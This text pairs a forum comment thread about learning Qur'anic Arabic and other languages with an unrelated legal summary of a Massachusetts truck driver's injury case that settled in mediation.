A language is like anything else: if you don't practice, you'll forget. I think the advice of many Islamic scholars and teachers is most appropriate when they say not to focus on "conversational" Arabic which you'll never get to practice with anyone and will therefore forget.
Rather, focus on Qur'anic Arabic because you read, recite, memorise the Qur'an on a daily level, it really is an unmatched interaction.
With that said, I would say take the Al-Huda courses if you can (in person or online). You literally go over the meaning of every single word of the Qur'an and analyze it, and then you learn the tafseer of the ayaat which only reinforces it. It's a 1 1/2 year course and so knowledge is built soundly – a real investment because how long can you go in your life without understanding the Qur'an for yourself when Allah has made it easy to rememeber?
And it is EASY, so that after seeking Allah's pleasure is your encouragement :)
But it would be really cool if I could speak German or Russian [even Urdu] :)
Jazakallah for the encouragement and tips!
Just to clarify: my "who am I kidding?" remark was only in relation to learning Mandarin… I think I have enough on my plate with the official list, hehe. :)
salam, I too would love to know more languages than English (the only one Im fluent in) I learnt french to year 11 (got A* in gcse) then a 2yr conversational course when i came to canada. I did german for 1 yr in year 9 and I learnt welsh in primary school :P I wanted to study BSL too sis.. Ive been looking at arabic, but one step at a time with it (got to get the reading done first insha'allah) H2b is algerian so masha'allah hes got the language gene :( french, arabic, english, berber & spanish masha'allah :) insha'allah ill be able to pick up french and arabic easier when im married.
Insha'Allah… I hope he passes that lingo gene on to your kids too, insha'Allah!


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The plaintiff, a 60 year-old Massachusetts professional truck driver, was delivering a shipment of heavy material to a large industrial vendor. During the off-loading process conducted by the defendant, a portion of the shipment fell from the plaintiff's trailer bed and onto the plaintiff, pinning the plaintiff's legs to the ground. Medical personnel were called to the scene and transported the plaintiff to the hospital for emergency surgery on his open tibia-fibula fractures, including the insertion of an intra-medullary rod in his tibia. He was transported to Boston Medical Center eight days later for further treatment. The plaintiff was also treated with IV antibiotics for a post-operative wound infection. Five days later, his physicians cleared him for additional surgery where they removed a locking screw from his leg and performed a skin graft over his fasciotomy site. A week later, he was transferred to the TCU floor of Boston Medical Center where he remained for six days and underwent passive and ADL therapy. The plaintiff was discharged home and underwent an extensive course of physical therapy. The plaintiff was unable to return to work as a truck driver, but did regain significant mobility and strength in his left leg and returned to many of his pre-incident activities, including walking several miles a day.
The defendant argued that it had repeatedly warned the plaintiff that the off-loading process had begun, and that the plaintiff should have remained clear of his trailer once the off-loading had started. The plaintiff countered that he was totally unaware that the defendant had begun the off-loading process and that he was never warned him to stay clear of the load.
Medical bills totaled approximately $90,000. A total worker's compensation lien in the amount of $181,000 was resolved for $90,000.
The case was settled after extensive discovery, following one full day of mediation.
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